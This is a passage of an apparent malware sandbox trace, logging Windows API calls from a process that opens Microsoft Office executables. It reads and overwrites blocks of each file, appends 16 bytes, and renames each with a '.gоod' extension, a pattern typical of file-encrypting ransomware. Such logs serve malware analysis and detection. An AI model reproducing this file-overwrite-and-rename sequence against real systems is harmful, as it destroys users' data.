Office\\root\\Office16\\OUTLOOK.EXE", lpFilePart=0x0) returned 0x3b [0165.283] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE.gоod", lpFilePart=0x0) returned 0x40 [0165.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0165.283] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlook.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca57b43c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xda982389, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5eba760e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x212b458)) returned 1 [0165.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0165.283] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlook.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlook.exe.gоod")) returned 1 [0165.284] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0165.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0165.284] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlook.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x360c180 | out: lpFileInformation=0x360c180*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c91d744, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x156)) returned 1 [0165.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0165.284] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0165.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0165.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlook.visualelementsmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0165.284] GetFileType (hFile=0x63c) returned 0x1 [0165.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0165.284] GetFileType (hFile=0x63c) returned 0x1 [0165.284] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1f59e838 | out: lpFileSizeHigh=0x1f59e838*=0x0) returned 0x156 [0165.284] ReadFile (in: hFile=0x63c, lpBuffer=0x360c600, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e768, lpOverlapped=0x0 | out: lpBuffer=0x360c600*, lpNumberOfBytesRead=0x1f59e768*=0x156, lpOverlapped=0x0) returned 1 [0165.730] CloseHandle (hObject=0x63c) returned 1 [0166.260] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0166.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0166.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlook.visualelementsmanifest.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0166.261] GetFileType (hFile=0x644) returned 0x1 [0166.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0166.261] GetFileType (hFile=0x644) returned 0x1 [0166.261] WriteFile (in: hFile=0x644, lpBuffer=0x34f2738*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x1f59e678, lpOverlapped=0x0 | out: lpBuffer=0x34f2738*, lpNumberOfBytesWritten=0x1f59e678*=0x160, lpOverlapped=0x0) returned 1 [0166.349] CloseHandle (hObject=0x644) returned 1 [0166.350] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0166.350] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.VisualElementsManifest.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.VisualElementsManifest.xml.gоod", lpFilePart=0x0) returned 0x57 [0166.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0166.350] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlook.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f5c9680, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x160)) returned 1 [0166.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0166.350] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlook.visualelementsmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.VisualElementsManifest.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlook.visualelementsmanifest.xml.gоod")) returned 1 [0166.351] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE", lpFilePart=0x0) returned 0x3d [0166.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0166.351] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pdfreflow.exe"), fInfoLevelId=0x0, lpFileInformation=0x3571640 | out: lpFileInformation=0x3571640*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1d791bfc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2be48)) returned 1 [0166.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0166.353] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE", lpFilePart=0x0) returned 0x3d [0166.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0166.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pdfreflow.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0166.353] GetFileType (hFile=0x644) returned 0x1 [0166.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0166.353] GetFileType (hFile=0x644) returned 0x1 [0166.353] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0166.353] ReadFile (in: hFile=0x644, lpBuffer=0x3571a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3571a38*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0166.355] CloseHandle (hObject=0x644) returned 1 [0166.355] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE", lpFilePart=0x0) returned 0x3d [0166.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0166.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pdfreflow.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0166.355] GetFileType (hFile=0x644) returned 0x1 [0166.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0166.355] GetFileType (hFile=0x644) returned 0x1 [0166.356] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0xf2be48 [0166.356] WriteFile (in: hFile=0x644, lpBuffer=0x3572e80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3572e80*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0166.357] CloseHandle (hObject=0x644) returned 1 [0166.357] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE", lpFilePart=0x0) returned 0x3d [0166.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0166.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pdfreflow.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0166.357] GetFileType (hFile=0x644) returned 0x1 [0166.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0166.357] GetFileType (hFile=0x644) returned 0x1 [0166.358] ReadFile (in: hFile=0x644, lpBuffer=0x3575a90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3575a90*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0166.426] CloseHandle (hObject=0x644) returned 1 [0166.426] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE", lpFilePart=0x0) returned 0x3d [0166.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0166.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pdfreflow.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0166.426] GetFileType (hFile=0x644) returned 0x1 [0166.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0166.426] GetFileType (hFile=0x644) returned 0x1 [0166.427] WriteFile (in: hFile=0x644, lpBuffer=0x33d4e78*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x33d4e78*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0166.427] CloseHandle (hObject=0x644) returned 1 [0166.427] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE", lpFilePart=0x0) returned 0x3d [0166.427] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE.gоod", lpFilePart=0x0) returned 0x42 [0166.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0166.427] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pdfreflow.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1d791bfc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f688316, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf2be58)) returned 1 [0166.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0166.427] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pdfreflow.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pdfreflow.exe.gоod")) returned 1 [0166.428] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe", lpFilePart=0x0) returned 0x3d [0166.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0166.428] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\perfboost.exe"), fInfoLevelId=0x0, lpFileInformation=0x34183b8 | out: lpFileInformation=0x34183b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834f7581, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x55aa8)) returned 1 [0166.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0166.428] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe", lpFilePart=0x0) returned 0x3d [0166.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0166.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\perfboost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0166.429] GetFileType (hFile=0x644) returned 0x1 [0166.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0166.429] GetFileType (hFile=0x644) returned 0x1 [0166.429] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0166.429] ReadFile (in: hFile=0x644, lpBuffer=0x34187b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x34187b0*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0166.430] CloseHandle (hObject=0x644) returned 1 [0166.431] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe", lpFilePart=0x0) returned 0x3d [0166.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0166.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\perfboost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0166.431] GetFileType (hFile=0x644) returned 0x1 [0166.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0166.431] GetFileType (hFile=0x644) returned 0x1 [0166.431] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x55aa8 [0166.431] WriteFile (in: hFile=0x644, lpBuffer=0x3419a38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3419a38*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0166.433] CloseHandle (hObject=0x644) returned 1 [0166.433] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe", lpFilePart=0x0) returned 0x3d [0166.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0166.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\perfboost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0166.433] GetFileType (hFile=0x644) returned 0x1 [0166.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0166.433] GetFileType (hFile=0x644) returned 0x1 [0166.433] ReadFile (in: hFile=0x644, lpBuffer=0x341bce8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x341bce8*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0167.134] CloseHandle (hObject=0x644) returned 1 [0167.134] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe", lpFilePart=0x0) returned 0x3d [0167.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0167.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\perfboost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0167.134] GetFileType (hFile=0x644) returned 0x1 [0167.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0167.134] GetFileType (hFile=0x644) returned 0x1 [0167.134] WriteFile (in: hFile=0x644, lpBuffer=0x33cffb8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x33cffb8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0167.134] CloseHandle (hObject=0x644) returned 1 [0167.135] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe", lpFilePart=0x0) returned 0x3d [0167.135] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe.gоod", lpFilePart=0x0) returned 0x42 [0167.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0167.135] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\perfboost.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5fd62f43, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x55ab8)) returned 1 [0167.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0167.135] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\perfboost.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\perfboost.exe.gоod")) returned 1 [0167.136] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE", lpFilePart=0x0) returned 0x3c [0167.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0167.136] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\powerpnt.exe"), fInfoLevelId=0x0, lpFileInformation=0x3584f48 | out: lpFileInformation=0x3584f48*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc6030bfe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd95b0a45, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd97c6b3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c40b0)) returned 1 [0167.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0167.136] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE", lpFilePart=0x0) returned 0x3c [0167.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0167.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\powerpnt.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0167.137] GetFileType (hFile=0x644) returned 0x1 [0167.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0167.137] GetFileType (hFile=0x644) returned 0x1 [0167.137] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0167.137] ReadFile (in: hFile=0x644, lpBuffer=0x3585340, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3585340*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0167.138] CloseHandle (hObject=0x644) returned 1 [0167.138] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE", lpFilePart=0x0) returned 0x3c [0167.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0167.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE" (normalized: "c:\\program files\\microsoft 